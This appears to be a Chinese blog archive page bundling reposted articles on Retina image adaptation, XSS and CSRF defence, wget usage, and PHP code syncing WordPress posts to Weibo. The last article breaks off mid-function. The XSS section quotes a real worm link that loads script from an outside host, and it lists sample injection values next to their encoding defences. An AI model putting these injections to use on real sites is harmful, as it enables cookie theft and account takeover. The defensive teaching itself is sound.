2014年8月

网站如何适配Retina屏幕

前言

随着2012年苹果发布第一款Retina Macbook Pro(以下简称RMBP),Retina屏幕开始进入笔记本行业。两年过去了,RMBP的市场占有率越来越高,且获得了一大批设计师朋友的青睐,网站对于Retina屏幕的适配越来越重要。

如果大家对于Retina适配的重要性不是特别清楚,请看我的两个截图:

QQ20140827-1@2x

上图是Google的首页LOGO,我们对比下图SOSO的LOGO:

QQ20140827-2@2x

如果大家还是看不出来,请自行访问这两个网站或者下载附件的截图对比。

那么说完了重要性,适配Retina的原理又是什么呢?我们知道,当一个图像在标准设备下全屏显示时,一位图像素对应的就是一设备像素,导致一个完全保 真的显示,因为一个位置像素不能进一步分裂。而当在Retina屏幕下时,他要放大四倍来保持相同的物理像素的大小,这样就会丢失很多细节,造成失真的情 形。换句话说,每一位图像素被乘以四填补相同的物理表面在视网膜屏幕下显示。(摘自《走向视网膜(Retina)的Web时代》)

那么,解决方法相信大家也都听过,就是通过手动制图或以编程的方式制作两种不同的图形,一张是普通屏幕的图片,另外一种是Retina屏幕的图形,而且Retina屏幕下的图片是普通屏幕的两倍像素。

原理虽然简单,在现实中要实现就不仅仅如此,需综合考虑加载速度,浏览器适配等多方面因素,本文就是教大家如何对Retina的屏幕进行适配。

正文

1.直接加载2倍大小的图片。

假如要显示的图片大小为200px*300px,你准备的实际图片大小应该为400px*600px,并且使用以下代码控制即可:

<img src="pic.png" height="200px" width="300px" />

这种方法就解决了Retina显示不清楚的问题,但是在普通屏幕下,这种图片要经过浏览器的压缩,在IE6和IE7上有十分差得显示效果,同时,两倍大小的图片势必会导致页面加载时间加长,用户体验下降,此时,我们可以通过Retina.js(http://retinajs.com/)文件解决:

    <img class="pic" src="pic.png" height="200px" width="300px"/>

    <script type="text/javascript">

    $(document).ready(function () {

    if (window.devicePixelRatio > 1) {

    var images = $("img.pic");

    images.each(function(i) {

    var x1 = $(this).attr('src');

    var x2 = x1.replace(/(.*)(.w+)/, "$1@2x$2");

    $(this).attr('src', x2);

    });

    }

    });

    </script>

 

2.Image-set控制

假如要显示的图片大小为200px*300px,你准备的图片应有两张:一张大小为200px*300px,命名为pic.png;另一张大小为 400px*600px,命名为pic@2x.png(@2x是Retina图标的标准命名方式),然后使用以下css代码控制:

    #logo {

    background: url(pic.png) 0 0 no-repeat;

    background-image: -webkit-image-set(url(pic.png) 1x, url(pic@2x.png) 2x);

    background-image: -moz-image-set(url(pic.png) 1x,url(images/pic@2x.png) 2x);

    background-image: -ms-image-set(url(pic.png) 1x,url(images/pic@2x.png) 2x);

    background-image: -o-image-set(url(url(pic.png) 1x,url(images/pic@2x.png) 2x);

    }

或者使用HTML代码控制亦可:

<img src="pic.png" srcset="pic@2x.png 2x" />

 

3.使用@media控制

实际是判断屏幕的像素比来取舍是否显示高分辨率图像,代码如下:

    @media only screen and (-webkit-min-device-pixel-ratio: 1.5),

           only screen and (min--moz-device-pixel-ratio: 1.5), /* 注意这里的写法比较特殊 */

           only screen and (-o-min-device-pixel-ratio: 3/2),

           only screen and (min-device-pixel-ratio: 1.5) {

    #logo {

    background-image: url(pic@2x.png);

    background-size: 100px auto;

    }

    }

使用这个的确定就是IE6、7、8不支持@media,所以无效。但是如果你只是支持苹果的RMBP的话,不存在兼容问题,因为MacOS X上压根没有IE!哈哈哈!

OK,本文到这里就结束了,介绍了上面的三个办法大家可以各有取舍的使用吧~

附件:附件

原文地址:http://www.ui.cn/project.php?id=24556

浅谈XSS和CSRF

同源策略(Same Origin Policy)

同源策略阻止从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性。
如:
不能通过Ajax获取另一个源的数据;
JavaScript不能访问页面中iframe加载的跨域资源。
对 http://store.company.com/dir/page.html 同源检测
28230050-d605bfba1f1b48e081353243800c253c

跨域限制

  1. 浏览器中,script、img、iframe、link等标签,可以跨域引用或加载资源。
  2. 不同于 XMLHttpRequest,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
  3. XMLHttpRequest 也受到也同源策略的约束,不能跨域访问资源。

JSONP

为了解决 XMLHttpRequest 同源策略的局限性,JSONP出现了。
JSONP并不是一个官方的协议,它是利用script标签中src属性具有跨域加载资源的特性,而衍生出来的跨域数据访问方式。

CORS(Cross-Origin Resource Sharing)

CORS,即:跨域资源共享
这是W3C委员会制定的一个新标准,用于解决 XMLHttpRequest 不能跨域访问资源的问题。目前支持情况良好(特指移动端)。
想了解更多,可查看之前的文章:《CORS(Cross-Origin Resource Sharing) 跨域资源共享》

XSS(Cross Site Script)

XSS(Cross Site Script) 即:跨站脚本攻击
本来缩写其应该是CSS,不过为了避免和CSS层叠样式表 (Cascading Style Sheets)重复,所以在安全领域叫做 XSS 。

XSS 分类

XSS 主要分为两种形态
  1. 反射型XSS(非持久型XSS)。需要诱惑用户去激活的XSS攻击,如:点击恶意链接。
  2. 存储型XSS。混杂有恶意代码的数据被存储在服务器端,当用户访问输出该数据的页面时,就会促发XSS攻击。具有很强的稳定性。

XSS Payload

XSS Payload,是指那些用于完成各种具体功能的恶意脚本。
由于实现XSS攻击可以通过JavaScript、ActiveX控件、Flash插件、Java插件等技术手段实现,下面只讨论JavaScript的XSS Payload。
通过JavaScript实现的XSS Payload,一般有以下几种:
  1. Cookie劫持
  2. 构造请求
  3. XSS钓鱼
  4. CSS History Hack

Cookie劫持

由于Cookie中,往往会存储着一些用户安全级别较高的信息,如:用户的登陆凭证。
当用户所访问的网站被注入恶意代码,它只需通过 

document.cookie 

这句简单的JavaScript代码,就可以顺利获取到用户当前访问网站的cookies。

如果攻击者能获取到用户登陆凭证的Cookie,甚至可以绕开登陆流程,直接设置这个cookie的值,来访问用户的账号。

构造请求

JavaScript 可以通过多种方式向服务器发送GET与POST请求。
网站的数据访问和操作,基本上都是通过向服务器发送请求而实现的。
如果让恶意代码顺利模拟用户操作,向服务器发送有效请求,将对用户造成重大损失。
例如:更改用户资料、删除用户信息等...

XSS钓鱼

关于网站钓鱼,详细大家应该也不陌生了。
就是伪造一个高度相似的网站,欺骗用户在钓鱼网站上面填写账号密码或者进行交易。
而XSS钓鱼也是利用同样的原理。
注入页面的恶意代码,会弹出一个想死的弹窗,提示用户输入账号密码登陆。
当用户输入后点击发送,这些资料已经去到了攻击者的服务器上了。
如:
28231056-882bbad839274f95a635ddbd128db3c4

CSS History Hack

CSS History Hack是一个有意思的东西。它结合 浏览器历史记录 和 CSS的伪类:a:visited,通过遍历一个网址列表来获取其中<a>标签的颜色,就能知道用户访问过什么网站。
相关链接:
PS:目前最新版的Chrome、Firefox、Safari已经无效,Opera 和 IE8以下 还可以使用。

XSS Worm

XSS Worm,即XSS蠕虫,是一种具有自我传播能力的XSS攻击,杀伤力很大。
引发 XSS蠕虫 的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要同时结合 反射型XSS 和 存储型XSS 。
案例:Samy Worm、新浪微博XSS攻击

新浪微博XSS攻击

这张图,其实已经是XSS蠕虫传播阶段的截图了。
攻击者要让XSS蠕虫成功被激活,应该是通过 私信 或者 @微博 的方式,诱惑一些微博大号上当。
当这些大号中有人点击了攻击链接后,XSS蠕虫就被激活,开始传播了。
28231427-6c93f6962f234f0a8576b1a8979da50e
这个XSS的漏洞,其实就是没有对地址中的变量进行过滤。
把上一页的链接decode了之后,我们就可以很容易的看出,这个链接的猫腻在哪里。
链接上带的变量,直接输出页面,导致外部JavaScript代码成功注入。
传播链接:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
把链接decode之后:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
28231439-beba435e8f8f4a97acdeee43ad981aef (1)
相关XSS代码这里就不贴了,Google一下就有。
其实也要感谢攻击者只是恶作剧了一下,让用户没有造成实际的损失。
网上也有人提到,如果这个漏洞结合XSS钓鱼,再配合隐性传播,那样杀伤力会更大。

XSS 防御技巧

HttpOnly

服务器端在设置安全级别高的Cookie时,带上HttpOnly的属性,就能防止JavaScript获取。
PHP设置HttpOnly:
<?
header("Set-Cookie: a=1;", false);
header("Set-Cookie: b=1;httponly", false);
setcookie("c", "1", NULL, NULL, NULL, NULL, ture);

 

PS:手机上的QQ浏览器4.0,居然不支持httponly,而3.7的版本却没问题。测试平台是安卓4.0版本。
估计是一个低级的bug,已经向QQ浏览器那边反映了情。
截止时间:2013-01-28

 

输入检查

任何用户输入的数据,都是“不可信”的。
输入检查,一般是用于输入格式检查,例如:邮箱、电话号码、用户名这些...
都要按照规定的格式输入:电话号码必须纯是数字和规定长度;用户名除 中英文数字 外,仅允许输入几个安全的符号。
输入过滤不能完全交由前端负责,前端的输入过滤只是为了避免普通用户的错误输入,减轻服务器的负担。
因为攻击者完全可以绕过正常输入流程,直接利用相关接口向服务器发送设置。
所以,前端和后端要做相同的过滤检查。

输出检查

相比输入检查,前端更适合做输出检查。
可以看到,HttpOnly和前端没直接关系,输入检查的关键点也不在于前端。
那XSS的防御就和前端没关系了?
当然不是,随着移动端web开发发展起来了,Ajax的使用越来越普遍,越来越多的操作都交给前端来处理。
前端也需要做好XSS防御。
JavaScript直接通过Ajax向服务器请求数据,接口把数据以JSON格式返回。前端整合处理数据后,输出页面。
所以,前端的XSS防御点,在于输出检查。
但也要结合XSS可能发生的场景

XSS注意场景

在HTML标签中输出
如:<a href=# >{$var}</a>
风险:{$var} 为 <img src=# onerror="/xss/" />
防御手段:变量HtmlEncode后输出
在HTML属性中输出
如:<div data-num="{$var}"></div>
风险:{$var} 为 " onclick="/xss/
防御手段:变量HtmlEncode后输出
在<script>标签中输出
如:<script>var num = {$var};</script>
风险:{$var} 为 1; alert(/xss/)
防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
在事件中输出
如:<span onclick="fun({$var})">hello!click me!</span>
风险:{$var} 为 ); alert(/xss/); //
防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
在CSS中输出
一般来说,尽量禁止用户可控制的变量在<style>标签和style属性中输出。
在地址中输出
如:<a href="http://3g.cn/?test={$var}">
风险:{$var} 为 " onclick="alert(/xss/)
防御手段:对URL中除 协议(Protocal) 和 主机(Host) 外进行URLEncode。如果整个链接都由变量输出,则需要判断是不是http开头。

HtmlEncode

对下列字符实现编码
&     ——》    &amp;
<     ——》    &lt;
>     ——》    &gt;
"    ——》    &quot;
'    ——》    &#39; (IE不支持&apos;)
/      ——》    &#x2F;

JavaScriptEncode

对下列字符加上反斜杠
"    ——》    \"
'    ——》    \'
\      ——》    \\
\n    ——》    \\n
\r     ——》    \\r      (Windows下的换行符)
例子: "\\".replace(/\\/g, "\\\\");  //return \\
推荐一个JavaScript的模板引擎:artTemplate

URLEncode

使用以下JS原生方法进行URI编码和解码:
  • encodeURI
  • decodeURI
  • decodeURIComponent
  • encodeURIComponent

CSRF(Cross-site request forgery)

28232804-51bdd6fb20674c99a3af90124348859c

 

CSRF 即:跨站点请求伪造
网站A :为恶意网站。
网站B :用户已登录的网站。
当用户访问 A站 时,A站 私自访问 B站 的操作链接,模拟用户操作。
假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A站 直接访问该链接,就能删除用户在 B站 的评论。

CSRF 的攻击策略

因为浏览器访问 B站 相关链接时,会向其服务器发送 B站 保存在本地的Cookie,以判断用户是否登陆。所以通过 A站 访问的链接,也能顺利执行。

CSRF 防御技巧

 

验证码

几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。
验证码算是对抗CSRF攻击最简洁有效的方法。
但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码。
只有一些关键的操作,才能要求输入验证码。
不过随着HTML5的发展。
利用canvas标签,前端也能识别验证码的字符,让CSRF生效。

Referer Check

Referer Check即来源检测。
HTTP Referer 是 Request Headers 的一部分,当浏览器向web服务器发出请求的时候,一般会带上Referer,告诉服务器用户从哪个站点链接过来的。
服务器通过判断请求头中的referer,也能避免CSRF的攻击。

Token

CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。
既然知道根本原因,我们就对症下药,利用Token。
当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。
Token可以存放在用户浏览器的Cookie中,
当用户提交表单时带上Token值,服务器就能验证表单和Cookie中的Token是否一致。
(前提,网站没有XSS漏洞,攻击者不能通过脚本获取用户的Cookie)
原文地址:http://www.cnblogs.com/alilang/archive/2013/01/29/2880843.html

Linux操作系统之wget命令

Linux系统中的wget是一个下载文件的工具,它用在命令行下。对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器。wget支持HTTP,HTTPS和FTP协议,可以使用HTTP代理。所谓的自动下载是指,wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统,启动一个wget下载任务,然后退出系统,wget将在后台执行直到任务完成,相对于其它大部分浏览器在下载大量数据时需要用户一直的参与,这省去了极大的麻烦。

wget 可 以跟踪HTML页面上的链接依次下载来创建远程服务器的本地版本,完全重建原始站点的目录结构。这又常被称作”递归下载”。在递归下载的时 候,wget 遵循Robot Exclusion标准(/robots.txt). wget可以在下载的同时,将链接转换成指向本地文件,以方便离线 浏览。

wget 非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性.如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

1.命令格式:

wget [参数] [URL地址]

2.命令功能:

用于从网络上下载资源,没有指定目录,下载资源回默认为当前目录。wget虽然功能强大,但是使用起来还是比较简单:

1)支持断点下传功能;这一点,也是网络蚂蚁和FlashGet当年最大的卖点,现在,Wget也可以使用此功能,那些网络不是太好的用户可以放心了;

2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载,但是,有些时候,仍然需要使用FTP方式下载软件;

3)支持代理服务器;对安全强度很高的系统而言,一般不会将自己的系统直接暴露在互联网上,所以,支持代理是下载软件必须有的功能;

4)设置方便简单;可能,习惯图形界面的用户已经不是太习惯命令行了,但是,命令行在设置上其实有更多的优点,最少,鼠标可以少点很多次,也不要担心是否错点鼠标;

5)程序小,完全免费;程序小可以考虑不计,因为现在的硬盘实在太大了;完全免费就不得不考虑了,即使网络上有很多所谓的免费软件,但是,这些软件的广告却不是我们喜欢的。

3.命令参数:

启动参数:

-V, –version 显示wget的版本后退出

-h, –help 打印语法帮助

-b, –background 启动后转入后台执行

-e, –execute=COMMAND 执行`.wgetrc’格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc

记录和输入文件参数:

-o, –output-file=FILE 把记录写到FILE文件中

-a, –append-output=FILE 把记录追加到FILE文件中

-d, –debug 打印调试输出

-q, –quiet 安静模式(没有输出)

-v, –verbose 冗长模式(这是缺省设置)

-nv, –non-verbose 关掉冗长模式,但不是安静模式

-i, –input-file=FILE 下载在FILE文件中出现的URLs

-F, –force-html 把输入文件当作HTML格式文件对待

-B, –base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀

–sslcertfile=FILE 可选客户端证书

–sslcertkey=KEYFILE 可选客户端证书的KEYFILE

–egd-file=FILE 指定EGD socket的文件名

下载参数:

–bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)

-t, –tries=NUMBER 设定最大尝试链接次数(0 表示无限制).

-O –output-document=FILE 把文档写到FILE文件中

-nc, –no-clobber 不要覆盖存在的文件或使用.#前缀

-c, –continue 接着下载没下载完的文件

–progress=TYPE 设定进程条标记

-N, –timestamping 不要重新下载文件除非比本地文件新

-S, –server-response 打印服务器的回应

–spider 不下载任何东西

-T, –timeout=SECONDS 设定响应超时的秒数

-w, –wait=SECONDS 两次尝试之间间隔SECONDS秒

–waitretry=SECONDS 在重新链接之间等待1…SECONDS秒

–random-wait 在下载之间等待0…2*WAIT秒

-Y, –proxy=on/off 打开或关闭代理

-Q, –quota=NUMBER 设置下载的容量限制

–limit-rate=RATE 限定下载输率

目录参数:

-nd –no-directories 不创建目录

-x, –force-directories 强制创建目录

-nH, –no-host-directories 不创建主机目录

-P, –directory-prefix=PREFIX 将文件保存到目录 PREFIX/…

–cut-dirs=NUMBER 忽略 NUMBER层远程目录

HTTP 选项参数:

–http-user=USER 设定HTTP用户名为 USER.

–http-passwd=PASS 设定http密码为 PASS

-C, –cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许)

-E, –html-extension 将所有text/html文档以.html扩展名保存

–ignore-length 忽略 `Content-Length’头域

–header=STRING 在headers中插入字符串 STRING

–proxy-user=USER 设定代理的用户名为 USER

–proxy-passwd=PASS 设定代理的密码为 PASS

–referer=URL 在HTTP请求中包含 `Referer: URL’头

-s, –save-headers 保存HTTP头到文件

-U, –user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION

–no-http-keep-alive 关闭 HTTP活动链接 (永远链接)

–cookies=off 不使用 cookies

–load-cookies=FILE 在开始会话前从文件 FILE中加载cookie

–save-cookies=FILE 在会话结束后将 cookies保存到 FILE文件中

FTP 选项参数:

-nr, –dont-remove-listing 不移走 `.listing’文件

-g, –glob=on/off 打开或关闭文件名的 globbing机制

–passive-ftp 使用被动传输模式 (缺省值).

–active-ftp 使用主动传输模式

–retr-symlinks 在递归的时候,将链接指向文件(而不是目录)

递归下载参数:

-r, –recursive 递归下载--慎用!

-l, –level=NUMBER 最大递归深度 (inf 或 0 代表无穷)

–delete-after 在现在完毕后局部删除文件

-k, –convert-links 转换非相对链接为相对链接

-K, –backup-converted 在转换文件X之前,将之备份为 X.orig

-m, –mirror 等价于 -r -N -l inf -nr

-p, –page-requisites 下载显示HTML文件的所有图片

递归下载中的包含和不包含(accept/reject):

-A, –accept=LIST 分号分隔的被接受扩展名的列表

-R, –reject=LIST 分号分隔的不被接受的扩展名的列表

-D, –domains=LIST 分号分隔的被接受域的列表

–exclude-domains=LIST 分号分隔的不被接受的域的列表

–follow-ftp 跟踪HTML文档中的FTP链接

–follow-tags=LIST 分号分隔的被跟踪的HTML标签的列表

-G, –ignore-tags=LIST 分号分隔的被忽略的HTML标签的列表

-H, –span-hosts 当递归时转到外部主机

-L, –relative 仅仅跟踪相对链接

-I, –include-directories=LIST 允许目录的列表

-X, –exclude-directories=LIST 不被包含目录的列表

-np, –no-parent 不要追溯到父目录

wget -S –spider url 不下载只显示过程

4.使用实例:

实例1:使用wget下载单个文件

命令:

wget http://www.minjieren.com/wordpress-3.1-zh_CN.zip

说明:

以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

实例2:使用wget -O下载并以不同的文件名保存

命令:

: wget -O wordpress.zip http://www.minjieren.com/download.aspx?id=1080

说明:

wget默认会以最后一个符合”/”的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

错误:下面的例子会下载一个文件并以名称download.aspx?id=1080保存

wget http://www.minjieren.com/download?id=1

即使下载的文件是zip格式,它仍然以download.php?id=1080命令。

正确:为了解决这个问题,我们可以使用参数-O来指定一个文件名:

wget -O wordpress.zip http://www.minjieren.com/download.aspx?id=1080

实例3:使用wget –limit -rate限速下载

命令:

wget --limit-rate=300k http://www.minjieren.com/wordpress-3.1-zh_CN.zip

说明:

当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

实例4:使用wget -c断点续传

命令:

wget -c http://www.minjieren.com/wordpress-3.1-zh_CN.zip

说明:

使用wget -c重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。

实例5:使用wget -b后台下载

命令:

wget -b http://www.minjieren.com/wordpress-3.1-zh_CN.zip

说明:

对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载。

wget -b http://www.minjieren.com/wordpress-3.1-zh_CN.zip

Continuing in background, pid 1840.

Output will be written to `wget-log'.

你可以使用以下命令来察看下载进度:

tail -f wget-log

实例6:伪装代理名称下载

命令:

wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.minjieren.com/wordpress-3.1-zh_CN.zip

说明:

有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过–user-agent参数伪装。

实例7:使用wget –spider测试下载链接

命令:

wget --spider URL

说明:

当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加–spider参数进行检查。

wget --spider URL

如果下载链接正确,将会显示

wget --spider URL

Spider mode enabled. Check if remote file exists.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]

Remote file exists and could contain further links,

but recursion is disabled -- not retrieving.

这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误

wget --spider url

Spider mode enabled. Check if remote file exists.

HTTP request sent, awaiting response... 404 Not Found

Remote file does not exist -- broken link!!!

你可以在以下几种情况下使用spider参数:

定时下载之前进行检查

间隔检测网站是否可用

检查网站页面的死链接

实例8:使用wget –tries增加重试次数

命令:

wget --tries=40 URL

说明:

如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用–tries增加重试次数。

实例9:使用wget -i下载多个文件

命令:

wget -i filelist.txt

说明:

首先,保存一份下载链接文件

cat > filelist.txt

url1

url2

url3

url4

接着使用这个文件和参数-i下载

实例10:使用wget –mirror镜像网站

命令:

wget --mirror -p --convert-links -P ./LOCAL URL

说明:

下载整个网站到本地。

–miror:开户镜像下载

-p:下载所有为了html页面显示正常的文件

–convert-links:下载后,转换成本地的链接

-P ./LOCAL:保存所有文件和目录到本地指定目录

实例11:使用wget –reject过滤指定格式下载

命令:
wget --reject=gif ur

说明:

下载一个网站,但你不希望下载图片,可以使用以下命令。

实例12:使用wget -o把下载信息存入日志文件

命令:

wget -o download.log URL

说明:

不希望下载信息直接显示在终端而是在一个日志文件,可以使用

实例13:使用wget -Q限制总下载文件大小

命令:

wget -Q5m -i filelist.txt

说明:

当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

实例14:使用wget -r -A下载指定格式文件

命令:

wget -r -A.pdf url

说明:

可以在以下情况使用该功能:

下载一个网站的所有图片

下载一个网站的所有视频

下载一个网站的所有PDF文件

实例15:使用wget FTP下载

命令:

wget ftp-url

wget --ftp-user=USERNAME --ftp-password=PASSWORD url

说明:

可以使用wget来完成ftp链接的下载。

使用wget匿名ftp下载:

wget ftp-url

使用wget用户名和密码认证的ftp下载

wget --ftp-user=USERNAME --ftp-password=PASSWORD url

备注:编译安装

使用如下命令编译安装:

# tar zxvf wget-1.9.1.tar.gz

# cd wget-1.9.1

# ./configure

# make

# make install

wordpress文章带图片同步到新浪微博

1392117921664

今天终于能把个人博客上的文章及文中图片一起同步到新浪微博了,在此发文纪念一下,并带图同步到我的微博测试。并且与大家一起分享一下经验,想必也有很多朋友在同步到微博的时候,遇到了传图的问题。

此前我都是使用多说评论框的接口同步到微博的,但为了能拥有自己的微博来源小尾巴,就自己开发一个。

首先你当然得有微博开放平台的帐号,并申请通过了网站应用审核。其次就是调用API接口了。

新浪微博有个高级接口,能发布一条微博并指定上传图片的url,这个接口由于需要申请使用,比较麻烦,还不如自己用另一个接口来实现锻炼一下自己。这里我使用的是https://upload.api.weibo.com/2/statuses/upload.json 这个接口(详情见这

必选 类型及范围 说明
source false string 采用OAuth授权方式不需要此参数,其他授权方式为必填参数,数值为应用的AppKey。
access_token false string 采用OAuth授权方式为必填参数,其他授权方式不需要此参数,OAuth授权后获得。
status true string 要发布的微博文本内容,必须做URLencode,内容不超过140个汉字。
visible false int 微博的可见性,0:所有人能看,1:仅自己可见,2:密友可见,3:指定分组可见,默认为0。
list_id false string 微博的保护投递指定分组ID,只有当visible参数为3时生效且必选。
pic true binary 要上传的图片,仅支持JPEG、GIF、PNG格式,图片大小小于5M。
lat false float 纬度,有效范围:-90.0到+90.0,+表示北纬,默认为0.0。
long false float 经度,有效范围:-180.0到+180.0,+表示东经,默认为0.0。
annotations false string 元数据,主要是为了方便第三方应用记录一些适合于自己使用的信息,每条微博可以包含一个或者多个元数据,必须以json字串的形式提交,字串长度不超过512个字符,具体内容可以自定。
rip false string 开发者上报的操作用户真实IP,形如:211.156.0.1。

文档规定的参数有以上这些,我只用到了source、status和pic三个参数就行了,当然你可以获得access_token来代替source(本文使用source讲解)。

上传图片等流媒体文件需要使用multipart/form-data编码方式,这和我们平常使用的表单上传文件类似。提交时会向服务器端发出这样的数据(如下代码,已经去除部分不相关的头信息)。

POST / HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: weibo.com
Content-Length: 21
Connection: Keep-Alive
Cache-Control: no-cache

txt1=hello&amp;txt2=world

对于普通的HTML Form POST请求,它会在头信息里使用Content-Length注明内容长度。头信息每行一条,空行之后便是Body,即“内容”(entity)。它的Content-Type是application/x-www-form-urlencoded,这意味着消息内容会经过URL编码,就像在GET请 求时URL里的QueryString那样。txt1=hello&txt2=world

最早的HTTP POST是不支持文件上传的,给编程开发带来很多问题。但是在1995年,ietf出台了rfc1867,也就是《RFC 1867 -Form-based File Upload in HTML》,用以支持文件上传。所以Content-Type的类型扩充了multipart/form-data用以支持向服务器发送二进制数据。因此发送post请求时候,表单

属性enctype共有二个值可选,这个属性管理的是表单的MIME编码:
①application/x-www-form-urlencoded(默认值)
②multipart/form-data
其实form表单在你不写enctype属性时,也默认为其添加了enctype属性值,默认值是enctype=”application/x- www-form-urlencoded”.
通过form表单提交文件操作如下:

<form method="post"action="http://w.sohu.com/t2/upload.do" enctype=”multipart/form-data”>

<inputtype="text" name="desc">

<inputtype="file" name="pic">

</form>

浏览器会发送以下数据:

POST /t2/upload.do HTTP/1.1
User-Agent: SOHUWapRebot
Accept-Language: zh-cn,zh;q=0.5
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Content-Length: 60408
Content-Type:multipart/form-data; boundary=ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC
Host: weibo.com

--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC
Content-Disposition: form-data;name="desc"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC
Content-Disposition: form-data;name="pic"; filename="photo.jpg"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

[图片二进制数据]
--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC--

先分析一下上面的内容,然后我们来根据这内容来构造发送的数据。

第7行指定发送编码是multipart/form-data,并且指定boundary值为“ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC”,这个值可以随机产生,不难理解,boundary就是来分隔数据的。并且每段分隔时boundary值前面需要加“--”,最后结尾处在boundary值的前后加"--"(看上面代码最后一行)。

每段boundary之内,先是数据描述,再是数据的主体。

QQ截图20140818215404

 

现在放上我构造的代码,自己琢磨一下就明白了:

function post_to_sina_weibo($post_ID) {
  if( wp_is_post_revision($post_ID) ) return;
    $get_post_info = get_post($post_ID);
    //发布的文章内容,带所有标签格式
    $get_post_centent = get_post($post_ID)->post_content; 
    //用正则表达式抠图
    preg_match_all('/<img.*?(?: |\\t|\\r|\\n)?src=[\'"]?(.+?)[\'"]?(?:(?: |\\t|\\r|\\n)+.*?)?>/sim', $get_post_centent, $strResult, PREG_PATTERN_ORDER);  
   if(count($strResult[1]) > 0)
        $imgUrl = $strResult[1][0];//获得第一张图url地址
   else
        $imgUrl = null;

    //去掉文章内的html编码的空格、换行、tab等符号
    $get_post_centent = str_replace("\t", " ", str_replace("\n", " ", str_replace("&nbsp;", " ", $get_post_centent)));
    //获取文章标题
    $get_post_title = get_post($post_ID)->post_title;
    if ( $get_post_info->post_status == 'publish' && $_POST['original_post_status'] != 'publish' ) {
    //使用wordpress内置request请求类,在wp_includes/wp_http.php里
    $request = new WP_Http;
    //微博文字,格式为“【文章标题】文章摘要132字,全文地址:XXXX”
    $status = '【' . strip_tags( $get_post_title ) . '】 ' . mb_strimwidth(strip_tags( apply_filters('the_content', $get_post_centent)),0, 132,'...') . ' 全文地址:' . get_permalink($post_ID) ;
    //如果没图片则请求这个api
    $api_url = 'https://api.weibo.com/2/statuses/update.json';
    //body内容,source参数为你的appkey,详情见wordpress的WP_http类
    $body = array( 'status' => $status, 'source'=>'706960568');
    //请将xxxxxxxxx替换成你的,xxxxxxxxxx为“用户名:密码”的base64编码
    $headers = array( 'Authorization' => 'Basic ' . 'xxxxxxxxxxxxxxxx' );
    //重要步骤,如果文章有图片则构造发送数据包
    if($imgUrl!==null)
    {
    	$body['pic'] = $imgUrl;
    	uksort($body, 'strcmp');
        $str_b=uniqid('------------------');
        $str_m='--'.$str_b;
        $str_e=$str_m. '--';
        $tmpbody='';
        //对参数遍历,进行构造内容,仔细阅读,你会发现和上面讲的类似
        foreach($body as $k=>$v){
            if($k=='pic'){
                $img_c=file_get_contents($imgUrl);
                $url_a=explode('?', basename($imgUrl));
                $img_n=$url_a[0];
                $tmpbody.=$str_m."\r\n";
                $tmpbody.='Content-Disposition: form-data; name="'.$k.'"; filename="'.$img_n.'"'."\r\n";
                $tmpbody.="Content-Type: image/unknown\r\n\r\n";
                $tmpbody.=$img_c."\r\n";
            }else{
                $tmpbody.=$str_m."\r\n";
                $tmpbody.='Content-Disposition: form-data; name="'.$k."\"\r\n\r\n";
                $tmpbody.=$v."\r\n";
            }
        }
        $tmpbody.=$str_e;
        $body = $tmpbody;
        //图片处理结束,使用uploade API
